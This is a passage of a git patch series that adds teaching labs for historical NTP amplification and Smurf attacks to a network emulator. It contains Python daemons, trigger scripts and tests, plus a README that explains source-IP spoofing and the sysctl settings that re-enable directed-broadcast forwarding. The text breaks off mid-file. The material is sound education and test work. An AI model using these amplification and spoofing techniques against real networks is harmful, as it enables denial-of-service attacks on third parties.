From 9297cb414c20ba04497487a6e09db68407421b0d Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sat, 27 Jun 2026 14:38:34 +0800 Subject: [PATCH 01/33] Added the UDP amplification attack (Yesterday once more) --- examples/yesterday_once_more/README.md | 1 + .../Y10_ntp_amplification/README.md | 94 ++++++++ .../Y10_ntp_amplification/example.yaml | 63 +++++ .../ntp_amplification.py | 155 +++++++++++++ .../Y10_ntp_amplification/ntp_like_daemon.py | 216 ++++++++++++++++++ .../Y10_ntp_amplification/test_runtime.py | 80 +++++++ .../Y10_ntp_amplification/trigger_attack.py | 90 ++++++++ .../Y10_ntp_amplification/trigger_attack.sh | 6 + .../Y10_ntp_amplification/udp_sink.py | 40 ++++ 9 files changed, 745 insertions(+) create mode 100644 examples/yesterday_once_more/Y10_ntp_amplification/README.md create mode 100644 examples/yesterday_once_more/Y10_ntp_amplification/example.yaml create mode 100644 examples/yesterday_once_more/Y10_ntp_amplification/ntp_amplification.py create mode 100644 examples/yesterday_once_more/Y10_ntp_amplification/ntp_like_daemon.py create mode 100644 examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py create mode 100644 examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.py create mode 100644 examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.sh create mode 100644 examples/yesterday_once_more/Y10_ntp_amplification/udp_sink.py diff --git a/examples/yesterday_once_more/README.md b/examples/yesterday_once_more/README.md index 4e693adc9..941052dab 100644 --- a/examples/yesterday_once_more/README.md +++ b/examples/yesterday_once_more/README.md @@ -5,3 +5,4 @@ We recreate some of the notorious Internet attacks and incidents: - Y01_bgp_prefix_hijacking - Y02_morris_worm - Y03_mirai +- Y10_ntp_amplification diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/README.md b/examples/yesterday_once_more/Y10_ntp_amplification/README.md new file mode 100644 index 000000000..f4ec881b8 --- /dev/null +++ b/examples/yesterday_once_more/Y10_ntp_amplification/README.md @@ -0,0 +1,94 @@ +# Y10: NTP-Like Amplification + +This example recreates the core idea behind historical NTP amplification +incidents inside a controlled SEED Emulator lab. It uses the mini-Internet +topology from `examples/internet/B00_mini_internet`, then adds a few vulnerable +NTP-like UDP services. + +The service is intentionally not a real NTP daemon. It is a small Python program +that accepts a tiny monitor-style request and returns a much larger response. +This makes the amplification mechanism clear and avoids depending on obsolete +NTP packages. + +## Topology + +The base topology is B00. Y10 adds these roles: + +- AS150 `host_0`: attacker host, with `/opt/ntp-like/trigger_attack.py`. +- AS151 `host_0`: victim host, with a UDP sink on port `9000`. +- AS152 `host_0`: NTP-like amplifier. +- AS160 `host_0`: NTP-like amplifier. +- AS171 `host_0`: NTP-like amplifier. + +The amplifier daemon listens on UDP port `123`. A direct `monlist` request is +answered by the amplifier itself. The example also enables a lab-only reflection +simulation command so the attacker can make the amplifiers send their larger +responses to the victim without using raw source-IP spoofing. + +## Build + +From the repository root: + +```sh +python examples/yesterday_once_more/Y10_ntp_amplification/ntp_amplification.py --platform amd +``` + +The generated Docker files are placed in: + +```text +examples/yesterday_once_more/Y10_ntp_amplification/output +``` + +## Manual Attack Trigger + +After starting the emulator, run the trigger from the attacker container: + +```sh +docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ + /opt/ntp-like/trigger_attack.sh +``` + +The default victim is `10.151.0.71:9000`. The default amplifiers are: + +```text +10.152.0.71 +10.160.0.71 +10.171.0.71 +``` + +To run direct queries instead of reflection simulation: + +```sh +docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ + /opt/ntp-like/trigger_attack.py --json +``` + +To inspect victim-side traffic: + +```sh +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + tail -n 20 /var/log/ntp-like-victim.log +``` + +## Standard Test Runner + +This example follows the `examples/sample` pattern: + +```sh +python seedemu/testing/cli.py all examples/yesterday_once_more/Y10_ntp_amplification/example.yaml \ + --artifact-dir ci-artifacts/y10-ntp-amplification +``` + +The manifest checks that representative B00 services are running and that the +attacker can reach the victim and one amplifier. The custom runtime test checks: + +- the attacker, victim, and amplifier containers exist; +- the NTP-like daemons are running; +- direct queries produce amplified responses; +- the reflection simulation causes the victim UDP sink to receive traffic. + +## Safety + +Run this only inside an isolated emulator. The daemon has an allowlist and the +reflection simulation is token-gated, but it is still intentionally modeling a +dangerous class of UDP amplification behavior. diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/example.yaml b/examples/yesterday_once_more/Y10_ntp_amplification/example.yaml new file mode 100644 index 000000000..b6e19cfd6 --- /dev/null +++ b/examples/yesterday_once_more/Y10_ntp_amplification/example.yaml @@ -0,0 +1,63 @@ +id: yesterday-y10-ntp-amplification +name: NTP-Like Amplification +description: B00 mini-Internet topology with lab-only NTP-like amplifiers and an attack trigger. +runner: internet +script: ntp_amplification.py +platform: amd +features: + - mini-internet + - udp-amplification + - ntp-like-monitor-response + - reflection-simulation + +compile: + enabled: true + output: output + clean: + - output + expected: + - output/docker-compose.yml + timeout: 600 + +build: + enabled: true + timeout: 1800 + +runtime: + compose: output/docker-compose.yml + readiness: + - name: Y10 representative services are running + type: compose-ps + services: + - hnode_150_host_0 + - hnode_151_host_0 + - hnode_152_host_0 + - hnode_160_host_0 + - hnode_171_host_0 + - brdnode_2_r100 + - brdnode_3_r103 + - brdnode_11_r102 + retries: 40 + interval: 3 + +probes: + - name: attacker reaches the victim across the mini Internet + type: ping + service: hnode_150_host_0 + target: 10.151.0.71 + count: 3 + retries: 40 + interval: 5 + + - name: attacker reaches an NTP-like amplifier + type: ping + service: hnode_150_host_0 + target: 10.152.0.71 + count: 3 + retries: 40 + interval: 5 + +test_programs: + - name: Y10 NTP-like amplification runtime validation + script: test_runtime.py + timeout: 300 diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/ntp_amplification.py b/examples/yesterday_once_more/Y10_ntp_amplification/ntp_amplification.py new file mode 100644 index 000000000..9fea4830a --- /dev/null +++ b/examples/yesterday_once_more/Y10_ntp_amplification/ntp_amplification.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from __future__ import annotations + +import argparse +from pathlib import Path +import sys +SCRIPT_DIR = Path(__file__).resolve().parent +REPO_ROOT = SCRIPT_DIR.parents[2] +B00_DIR = REPO_ROOT / "examples" / "internet" / "B00_mini_internet" + +for path in [REPO_ROOT, B00_DIR]: + if str(path) not in sys.path: + sys.path.insert(0, str(path)) + +from mini_internet import build_emulator +from seedemu.compiler import Docker, Platform +from seedemu.core import Emulator, Node + + +AMPLIFIER_HOSTS = [(152, "host_0"), (160, "host_0"), (171, "host_0")] +ATTACKER_HOST = (150, "host_0") +VICTIM_HOST = (151, "host_0") +NTP_LIKE_DIR = "/opt/ntp-like" +VICTIM_LOG = "/var/log/ntp-like-victim.log" + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Build the Y10 NTP-like amplification example.") + parser.add_argument("legacy_platform", nargs="?", choices=["amd", "arm"]) + parser.add_argument("--platform", choices=["amd", "arm"]) + parser.add_argument("--output", default=str(SCRIPT_DIR / "output")) + parser.add_argument("--dumpfile") + parser.add_argument("--hosts-per-as", type=int, default=2) + parser.add_argument("--response-size", type=int, default=1200) + parser.add_argument("--override", dest="override", action="store_true", default=True) + parser.add_argument("--no-override", dest="override", action="store_false") + parser.add_argument("--skip-render", dest="render", action="store_false", default=True) + args = parser.parse_args() + args.platform = args.platform or args.legacy_platform or "amd" + return args + + +def resolve_platform(name: str) -> Platform: + return Platform.AMD64 if name == "amd" else Platform.ARM64 + + +def get_host(emu: Emulator, asn: int, name: str) -> Node: + base = emu.getLayer("Base") + return base.getAutonomousSystem(asn).getHost(name) + + +def install_file(node: Node, local_name: str, remote_name: str) -> None: + content = (SCRIPT_DIR / local_name).read_text(encoding="utf-8") + node.setFile(f"{NTP_LIKE_DIR}/{remote_name}", content) + + +def prepare_ntp_like_dir(node: Node) -> None: + node.addBuildCommand(f"mkdir -p {NTP_LIKE_DIR}") + node.appendStartCommand(f"mkdir -p {NTP_LIKE_DIR}") + + +def install_amplifier(node: Node, response_size: int) -> None: + node.addSoftware("python3") + prepare_ntp_like_dir(node) + install_file(node, "ntp_like_daemon.py", "ntp_like_daemon.py") + node.appendStartCommand( + "python3 {}/ntp_like_daemon.py " + "--port 123 " + "--response-size {} " + "--allowed-prefix 10. " + "--reflect-token seedemu-lab " + "--reflect-target-prefix 10. " + ">> /var/log/ntp-like-daemon.log 2>&1".format(NTP_LIKE_DIR, response_size), + fork=True, + ) + node.appendClassName("NtpLikeAmplifier") + + +def install_attacker(node: Node) -> None: + node.addSoftware("python3") + prepare_ntp_like_dir(node) + install_file(node, "trigger_attack.py", "trigger_attack.py") + install_file(node, "trigger_attack.sh", "trigger_attack.sh") + node.appendStartCommand(f"chmod +x {NTP_LIKE_DIR}/trigger_attack.py {NTP_LIKE_DIR}/trigger_attack.sh") + node.appendClassName("NtpLikeAttacker") + + +def install_victim(node: Node) -> None: + node.addSoftware("python3") + prepare_ntp_like_dir(node) + install_file(node, "udp_sink.py", "udp_sink.py") + node.appendStartCommand(f": > {VICTIM_LOG}") + node.appendStartCommand( + f"python3 {NTP_LIKE_DIR}/udp_sink.py --port 9000 --log {VICTIM_LOG} " + ">> /var/log/ntp-like-victim-sink.log 2>&1", + fork=True, + ) + node.appendClassName("NtpLikeVictim") + + +def customize_b00_for_ntp_amplification(emu: Emulator, response_size: int) -> None: + for asn, host in AMPLIFIER_HOSTS: + install_amplifier(get_host(emu, asn, host), response_size) + + install_attacker(get_host(emu, *ATTACKER_HOST)) + install_victim(get_host(emu, *VICTIM_HOST)) + + +def build_y10_emulator(hosts_per_as: int, response_size: int) -> Emulator: + emu = build_emulator(hosts_per_as=hosts_per_as) + customize_b00_for_ntp_amplification(emu, response_size=response_size) + return emu + + +def run( + dumpfile=None, + hosts_per_as=2, + response_size=1200, + output=None, + platform=Platform.AMD64, + override=True, + render=True, +) -> None: + emu = build_y10_emulator(hosts_per_as=hosts_per_as, response_size=response_size) + if dumpfile is not None: + emu.dump(dumpfile) + return + + if render: + emu.render() + + docker = Docker(platform=platform) + emu.compile(docker, output or "./output", override=override) + + +def main() -> int: + args = parse_args() + output_dir = Path(args.output).resolve() + output_dir.parent.mkdir(parents=True, exist_ok=True) + run( + dumpfile=args.dumpfile, + hosts_per_as=args.hosts_per_as, + response_size=args.response_size, + output=str(output_dir), + platform=resolve_platform(args.platform), + override=args.override, + render=args.render, + ) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/ntp_like_daemon.py b/examples/yesterday_once_more/Y10_ntp_amplification/ntp_like_daemon.py new file mode 100644 index 000000000..48a30dca7 --- /dev/null +++ b/examples/yesterday_once_more/Y10_ntp_amplification/ntp_like_daemon.py @@ -0,0 +1,216 @@ +#!/usr/bin/env python3 +""" +Lab-only NTP-like UDP daemon for amplification demonstrations. + +This is not a real NTP implementation. It mimics one historical NTP failure +mode: a small monitor-style request can produce a much larger UDP response. + +The optional reflection command is a Docker/emulator-friendly substitute for +source-IP spoofing. Enable it only in isolated labs with --reflect-token. +""" + +from __future__ import annotations + +import argparse +import socket +import sys +import time +from collections import defaultdict, deque +from typing import Deque, Dict, Optional, Tuple + + +Client = Tuple[str, int] + + +def build_payload(size: int, request: bytes, client: Client) -> bytes: + """Build a deterministic response of exactly size bytes.""" + now = time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()).encode() + prefix = ( + b"NTP-LIKE-MONITOR-RESPONSE\n" + + b"server=seedemu-lab-ntp-like\n" + + b"time=" + + now + + b"\n" + + b"client=" + + f"{client[0]}:{client[1]}".encode() + + b"\n" + + b"request-len=" + + str(len(request)).encode() + + b"\n" + + b"entries=\n" + ) + + line = b" peer=192.0.2.1 stratum=2 delay=0.031 offset=0.002 jitter=0.004\n" + if size <= len(prefix): + return prefix[:size] + + repeats = ((size - len(prefix)) // len(line)) + 1 + payload = prefix + (line * repeats) + return payload[:size] + + +def allow_by_prefix(ip_address: str, prefixes: list[str]) -> bool: + """Small string-prefix allowlist for simple lab subnets such as 10.""" + if not prefixes: + return True + return any(ip_address.startswith(prefix) for prefix in prefixes) + + +def rate_limited(client: Client, history: Dict[str, Deque[float]], per_second: int) -> bool: + if per_second <= 0: + return False + + now = time.monotonic() + source_ip = client[0] + q = history[source_ip] + while q and now - q[0] > 1.0: + q.popleft() + + if len(q) >= per_second: + return True + + q.append(now) + return False + + +def parse_reflection_request( + request: bytes, + token: Optional[str], + allowed_target_prefixes: list[str], +) -> Optional[Tuple[str, int]]: + if token is None: + return None + + parts = request.decode(errors="ignore").strip().split() + if len(parts) != 4 or parts[0].lower() != "reflect" or parts[1] != token: + return None + + target_ip = parts[2] + try: + target_port = int(parts[3]) + except ValueError: + return None + + if target_port < 1 or target_port > 65535: + return None + if not allow_by_prefix(target_ip, allowed_target_prefixes): + return None + + return (target_ip, target_port) + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser( + description="Run a lab-only NTP-like UDP daemon for amplification demonstrations." + ) + parser.add_argument("--host", default="0.0.0.0", help="local address to bind") + parser.add_argument("--port", type=int, default=123, help="UDP port to listen on") + parser.add_argument( + "--response-size", + type=int, + default=1200, + help="bytes sent in each synthetic monitor response", + ) + parser.add_argument( + "--trigger", + default="monlist", + help="request text that triggers direct large replies", + ) + parser.add_argument( + "--allowed-prefix", + action="append", + default=[], + help="client IP prefix allowed to query, e.g. 10. or 192.168.; repeatable", + ) + parser.add_argument( + "--reflect-token", + help="enable lab reflection requests: 'reflect TOKEN TARGET_IP TARGET_PORT'", + ) + parser.add_argument( + "--reflect-target-prefix", + action="append", + default=[], + help="target IP prefix allowed for reflection; repeatable", + ) + parser.add_argument( + "--rate-limit", + type=int, + default=0, + help="max replies per source IP per second; 0 disables rate limiting", + ) + parser.add_argument("--quiet", action="store_true", help="do not print one log line per request") + return parser.parse_args() + + +def main() -> int: + args = parse_args() + + if args.response_size < 1: + print("--response-size must be positive", file=sys.stderr) + return 2 + if args.response_size > 65507: + print("--response-size must be <= 65507 for UDP/IPv4", file=sys.stderr) + return 2 + + history: Dict[str, Deque[float]] = defaultdict(deque) + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.bind((args.host, args.port)) + + print( + "lab NTP-like daemon listening on udp://{}:{} response_size={} trigger={!r}".format( + args.host, args.port, args.response_size, args.trigger + ), + flush=True, + ) + + while True: + request, client = sock.recvfrom(4096) + client_ip = client[0] + + if not allow_by_prefix(client_ip, args.allowed_prefix): + if not args.quiet: + print(f"drop client={client_ip} reason=not-allowed", flush=True) + continue + + if rate_limited(client, history, args.rate_limit): + response = b"NTP-LIKE-ERROR rate limited\n" + destination = client + else: + reflection_target = parse_reflection_request( + request, + args.reflect_token, + args.reflect_target_prefix, + ) + if reflection_target is not None: + response = build_payload(args.response_size, request, client) + destination = reflection_target + elif request.strip().lower() == args.trigger.encode().lower(): + response = build_payload(args.response_size, request, client) + destination = client + else: + response = b"NTP-LIKE-ERROR unsupported request\n" + destination = client + + sock.sendto(response, destination) + + if not args.quiet: + amp = len(response) / max(len(request), 1) + print( + "reply source={} destination={}:{} request_bytes={} response_bytes={} amplification={:.1f}x".format( + f"{client[0]}:{client[1]}", + destination[0], + destination[1], + len(request), + len(response), + amp, + ), + flush=True, + ) + + +if __name__ == "__main__": + try: + raise SystemExit(main()) + except KeyboardInterrupt: + print("\nstopped", file=sys.stderr) + raise SystemExit(130) diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py b/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py new file mode 100644 index 000000000..a0ec5dc86 --- /dev/null +++ b/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python3 + +from __future__ import annotations + +from seedemu.testing import ComposeRuntimeTest + + +AMPLIFIERS = ["10.152.0.71", "10.160.0.71", "10.171.0.71"] +VICTIM_LOG = "/var/log/ntp-like-victim.log" + + +def main() -> int: + test = ComposeRuntimeTest(__file__) + + attacker = test.require_service(150, "host_0", "AS150 attacker host is generated") + victim = test.require_service(151, "host_0", "AS151 victim host is generated") + amplifier152 = test.require_service(152, "host_0", "AS152 amplifier host is generated") + amplifier160 = test.require_service(160, "host_0", "AS160 amplifier host is generated") + amplifier171 = test.require_service(171, "host_0", "AS171 amplifier host is generated") + + if attacker: + test.exec_check( + "attacker direct queries receive amplified responses", + attacker, + "/opt/ntp-like/trigger_attack.py --json", + retries=30, + interval=3, + ) + + if victim: + test.exec_check( + "victim UDP sink is running", + victim, + "ps -ef | grep -F '/opt/ntp-like/udp_sink.py' | grep -v grep >/dev/null", + retries=30, + interval=3, + ) + + if attacker and victim: + test.exec_check( + "reflection simulation sends amplifier responses to victim", + victim, + f": > {VICTIM_LOG}", + retries=1, + interval=1, + ) + test.exec_check( + "attacker triggers reflection simulation", + attacker, + "/opt/ntp-like/trigger_attack.py --reflect --json", + retries=10, + interval=2, + ) + test.exec_check( + "victim receives reflected UDP amplification traffic", + victim, + "sleep 2; test $(wc -l < {}) -ge 3 && awk -F'bytes=' '{{sum += $2}} END {{exit !(sum >= 3000)}}' {}".format( + VICTIM_LOG, + VICTIM_LOG, + ), + retries=10, + interval=2, + ) + + for service in [amplifier152, amplifier160, amplifier171]: + if service: + test.exec_check( + "{} runs the NTP-like daemon".format(service.name), + service, + "ps -ef | grep -F '/opt/ntp-like/ntp_like_daemon.py' | grep -v grep >/dev/null", + retries=30, + interval=3, + ) + + test.write_summary("y10-ntp-amplification-runtime-test.json") + return test.exit_code() + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.py b/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.py new file mode 100644 index 000000000..07b5c440d --- /dev/null +++ b/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python3 +"""Trigger the lab NTP-like amplification demonstration.""" + +from __future__ import annotations + +import argparse +import json +import socket +import time +from typing import Dict, List + + +DEFAULT_AMPLIFIERS = ["10.152.0.71", "10.160.0.71", "10.171.0.71"] + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Trigger the NTP-like amplification lab.") + parser.add_argument("--amplifier", action="append", dest="amplifiers", help="amplifier IP; repeatable") + parser.add_argument("--port", type=int, default=123, help="amplifier UDP port") + parser.add_argument("--trigger", default="monlist", help="direct query trigger") + parser.add_argument("--reflect", action="store_true", help="ask amplifiers to send responses to the victim") + parser.add_argument("--token", default="seedemu-lab", help="reflection token configured on amplifiers") + parser.add_argument("--victim", default="10.151.0.71", help="victim IP for reflection mode") + parser.add_argument("--victim-port", type=int, default=9000, help="victim UDP port for reflection mode") + parser.add_argument("--timeout", type=float, default=2.0) + parser.add_argument("--json", action="store_true", help="print machine-readable results") + return parser.parse_args() + + +def send_direct_query(sock: socket.socket, target: str, port: int, trigger: str, timeout: float) -> Dict[str, object]: + request = trigger.encode() + sock.settimeout(timeout) + started = time.monotonic() + sock.sendto(request, (target, port)) + try: + response, source = sock.recvfrom(65535) + elapsed = time.monotonic() - started + return { + "amplifier": target, + "source": f"{source[0]}:{source[1]}", + "request_bytes": len(request), + "response_bytes": len(response), + "amplification": round(len(response) / max(len(request), 1), 2), + "elapsed_seconds": round(elapsed, 3), + "status": "response", + } + except socket.timeout: + return { + "amplifier": target, + "request_bytes": len(request), + "response_bytes": 0, + "amplification": 0, + "status": "timeout", + } + + +def send_reflection_request(sock: socket.socket, target: str, port: int, args: argparse.Namespace) -> Dict[str, object]: + request = f"reflect {args.token} {args.victim} {args.victim_port}".encode() + sock.sendto(request, (target, port)) + return { + "amplifier": target, + "victim": f"{args.victim}:{args.victim_port}", + "request_bytes": len(request), + "status": "sent", + } + + +def main() -> int: + args = parse_args() + amplifiers = args.amplifiers or DEFAULT_AMPLIFIERS + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + + results: List[Dict[str, object]] = [] + for amplifier in amplifiers: + if args.reflect: + results.append(send_reflection_request(sock, amplifier, args.port, args)) + else: + results.append(send_direct_query(sock, amplifier, args.port, args.trigger, args.timeout)) + + if args.json: + print(json.dumps({"results": results}, indent=2, sort_keys=True)) + else: + for item in results: + print(item) + + return 0 if all(item["status"] in {"response", "sent"} for item in results) else 1 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.sh b/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.sh new file mode 100644 index 000000000..a4bfe1d0d --- /dev/null +++ b/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.sh @@ -0,0 +1,6 @@ +#!/bin/sh +set -eu + +# Run this inside the attacker container. The default B00-based attacker is +# AS150 host_0, and the default victim is AS151 host_0. +python3 /opt/ntp-like/trigger_attack.py --reflect "$@" diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/udp_sink.py b/examples/yesterday_once_more/Y10_ntp_amplification/udp_sink.py new file mode 100644 index 000000000..a738122ef --- /dev/null +++ b/examples/yesterday_once_more/Y10_ntp_amplification/udp_sink.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python3 +"""Small UDP receiver used by the NTP amplification lab victim.""" + +from __future__ import annotations + +import argparse +import socket +import time + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Record UDP packets sent to a lab victim.") + parser.add_argument("--host", default="0.0.0.0") + parser.add_argument("--port", type=int, default=9000) + parser.add_argument("--log", default="/var/log/ntp-like-victim.log") + return parser.parse_args() + + +def main() -> int: + args = parse_args() + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.bind((args.host, args.port)) + print(f"udp sink listening on {args.host}:{args.port}, log={args.log}", flush=True) + + with open(args.log, "a", encoding="utf-8") as handle: + while True: + data, source = sock.recvfrom(65535) + line = "{:.3f} source={}:{} bytes={}\n".format( + time.time(), + source[0], + source[1], + len(data), + ) + handle.write(line) + handle.flush() + print(line, end="", flush=True) + + +if __name__ == "__main__": + raise SystemExit(main()) From bfc74f52d6375fc061971a537d6c9f44d0d9c628 Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sat, 27 Jun 2026 15:01:28 +0800 Subject: [PATCH 02/33] Added the smurf attack (yesterday once more) --- examples/yesterday_once_more/README.md | 1 + .../Y11_smurf_attack/README.md | 206 ++++++++++++++++++ .../Y11_smurf_attack/example.yaml | 62 ++++++ .../Y11_smurf_attack/smurf_attack.py | 113 ++++++++++ .../Y11_smurf_attack/smurf_attack_example.py | 181 +++++++++++++++ .../Y11_smurf_attack/smurf_monitor.py | 75 +++++++ .../Y11_smurf_attack/test_runtime.py | 74 +++++++ .../Y11_smurf_attack/trigger_attack.sh | 7 + .../Y11_smurf_attack/visualize_attack.py | 133 +++++++++++ 9 files changed, 852 insertions(+) create mode 100644 examples/yesterday_once_more/Y11_smurf_attack/README.md create mode 100644 examples/yesterday_once_more/Y11_smurf_attack/example.yaml create mode 100644 examples/yesterday_once_more/Y11_smurf_attack/smurf_attack.py create mode 100644 examples/yesterday_once_more/Y11_smurf_attack/smurf_attack_example.py create mode 100644 examples/yesterday_once_more/Y11_smurf_attack/smurf_monitor.py create mode 100644 examples/yesterday_once_more/Y11_smurf_attack/test_runtime.py create mode 100644 examples/yesterday_once_more/Y11_smurf_attack/trigger_attack.sh create mode 100644 examples/yesterday_once_more/Y11_smurf_attack/visualize_attack.py diff --git a/examples/yesterday_once_more/README.md b/examples/yesterday_once_more/README.md index 941052dab..5031eceaa 100644 --- a/examples/yesterday_once_more/README.md +++ b/examples/yesterday_once_more/README.md @@ -6,3 +6,4 @@ We recreate some of the notorious Internet attacks and incidents: - Y02_morris_worm - Y03_mirai - Y10_ntp_amplification +- Y11_smurf_attack diff --git a/examples/yesterday_once_more/Y11_smurf_attack/README.md b/examples/yesterday_once_more/Y11_smurf_attack/README.md new file mode 100644 index 000000000..6d2559ba4 --- /dev/null +++ b/examples/yesterday_once_more/Y11_smurf_attack/README.md @@ -0,0 +1,206 @@ +# Y11: Smurf Attack + +This example recreates the core mechanism of the historical Smurf attack inside +a controlled SEED Emulator lab. + +The example uses the mini-Internet topology from +`examples/internet/B00_mini_internet`. It then turns AS152 into a vulnerable +directed-broadcast network with many hosts. The attacker sends ICMP echo +requests to AS152's directed broadcast address while spoofing the victim's +source IP address. Hosts on the AS152 LAN respond to the victim, amplifying the +attacker's traffic. + +## Roles + +- AS150 `host_0`: attacker. +- AS151 `host_0`: victim. +- AS152 `router0`: vulnerable router with directed broadcast forwarding enabled. +- AS152 `host_0` ... `host_N`: amplifier hosts that respond to broadcast pings. + +The default directed broadcast address is: + +```text +10.152.0.255 +``` + +The default spoofed victim address is: + +```text +10.151.0.71 +``` + +## How The Attack Is Enabled + +A Smurf attack needs three technical conditions. Modern networks usually break +at least one of them; this example deliberately enables all three inside the +emulator. + +First, the attacker must be able to send an ICMP echo request with a spoofed +source address. In this example, AS150 runs: + +```text +/opt/smurf-lab/smurf_attack.py +``` + +This script opens a raw socket and builds an IPv4 packet manually. The packet's +source address is set to the victim, `10.151.0.71`, while the destination is the +AS152 directed broadcast address, `10.152.0.255`. + +Second, the router for the target LAN must forward directed broadcast packets. +Normally, routers no longer do this. Y11 enables it on AS152 `router0` using: + +```sh +sysctl -w net.ipv4.ip_forward=1 +sysctl -w net.ipv4.conf.all.bc_forwarding=1 +sysctl -w net.ipv4.conf.default.bc_forwarding=1 +``` + +The example also writes `1` to every existing interface-specific +`bc_forwarding` file under: + +```text +/proc/sys/net/ipv4/conf/*/bc_forwarding +``` + +This makes AS152 `router0` forward a packet addressed to `10.152.0.255` onto +the AS152 LAN as a broadcast. + +Third, hosts on the target LAN must answer broadcast ICMP echo requests. +Modern Linux hosts normally ignore these requests. Y11 changes this behavior on +the AS152 amplifier hosts with: + +```sh +sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=0 +``` + +When the spoofed packet reaches the AS152 LAN, many AS152 hosts receive the +same broadcast echo request. Each host sends an ICMP echo reply to the spoofed +source address, so the replies go to AS151 `host_0`, the victim. + +The amplification factor depends mainly on the number of AS152 hosts. If +`--target-hosts 30` is used, one spoofed broadcast request can produce replies +from many of those 30 hosts. + +The runtime test uses: + +```text +/opt/smurf-lab/smurf_monitor.py +``` + +on the victim to count ICMP echo replies from the AS152 prefix. + +## Visualizing The Attack + +The best way to see the Smurf effect is from the victim's point of view. Y11 +installs a live dashboard on AS151 `host_0`: + +```text +/opt/smurf-lab/visualize_attack.py +``` + +Start the dashboard on the victim first: + +```sh +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + /opt/smurf-lab/visualize_attack.py --duration 20 --request-count 3 +``` + +In another terminal, trigger the attack from AS150: + +```sh +docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ + /opt/smurf-lab/trigger_attack.sh --count 3 +``` + +The dashboard shows the attack as amplification: + +```text +SMURF ATTACK MONITOR +==================== +Victim view: ICMP echo replies from 10.152.0.* + +elapsed seconds : 4.0 +spoofed requests : 3 +ICMP replies received : 36 +unique amplifier hosts : 12 +estimated amplification: 12.0x +replies in last window : 0 + +Top replying hosts +------------------ +10.152.0.71 3 replies +10.152.0.72 3 replies +10.152.0.73 3 replies +``` + +Internet Map is still useful for seeing packets move through the topology, but +the victim dashboard makes the key lesson clearer: a small number of spoofed +requests can cause many hosts to send replies to the victim. + +## Build + +From the repository root: + +```sh +python examples/yesterday_once_more/Y11_smurf_attack/smurf_attack_example.py --platform amd +``` + +To change the number of amplifier hosts on the AS152 LAN: + +```sh +python examples/yesterday_once_more/Y11_smurf_attack/smurf_attack_example.py \ + --platform amd \ + --target-hosts 30 +``` + +The generated Docker files are placed in: + +```text +examples/yesterday_once_more/Y11_smurf_attack/output +``` + +## Manual Attack Trigger + +After starting the emulator, run the attack trigger from AS150: + +```sh +docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ + /opt/smurf-lab/trigger_attack.sh --count 3 +``` + +To observe victim-side replies, start the monitor on AS151 before triggering the +attack. For a live dashboard, use: + +```sh +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + /opt/smurf-lab/visualize_attack.py --duration 20 --request-count 3 +``` + +For a compact JSON summary, use: + +```sh +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + sh -lc 'python3 /opt/smurf-lab/smurf_monitor.py --duration 10' +``` + +## Standard Test Runner + +This example follows the `examples/sample` pattern: + +```sh +python seedemu/testing/cli.py all examples/yesterday_once_more/Y11_smurf_attack/example.yaml \ + --artifact-dir ci-artifacts/y11-smurf-attack +``` + +The runtime test verifies: + +- the directed-broadcast router and amplifier hosts are generated; +- AS152 router has `bc_forwarding` enabled; +- AS152 hosts respond to broadcast ICMP echo requests; +- the victim receives multiple ICMP echo replies after the attacker sends + spoofed echo requests to `10.152.0.255`. + +## Safety + +Run this only inside an isolated emulator. The example deliberately recreates an +unsafe historical router behavior that modern routers normally disable. diff --git a/examples/yesterday_once_more/Y11_smurf_attack/example.yaml b/examples/yesterday_once_more/Y11_smurf_attack/example.yaml new file mode 100644 index 000000000..2fc984d1e --- /dev/null +++ b/examples/yesterday_once_more/Y11_smurf_attack/example.yaml @@ -0,0 +1,62 @@ +id: yesterday-y11-smurf-attack +name: Smurf Attack +description: B00 mini-Internet topology with a vulnerable directed-broadcast LAN. +runner: internet +script: smurf_attack_example.py +platform: amd +features: + - mini-internet + - directed-broadcast + - icmp-broadcast-reply + - spoofed-icmp + +compile: + enabled: true + output: output + clean: + - output + expected: + - output/docker-compose.yml + timeout: 600 + +build: + enabled: true + timeout: 1800 + +runtime: + compose: 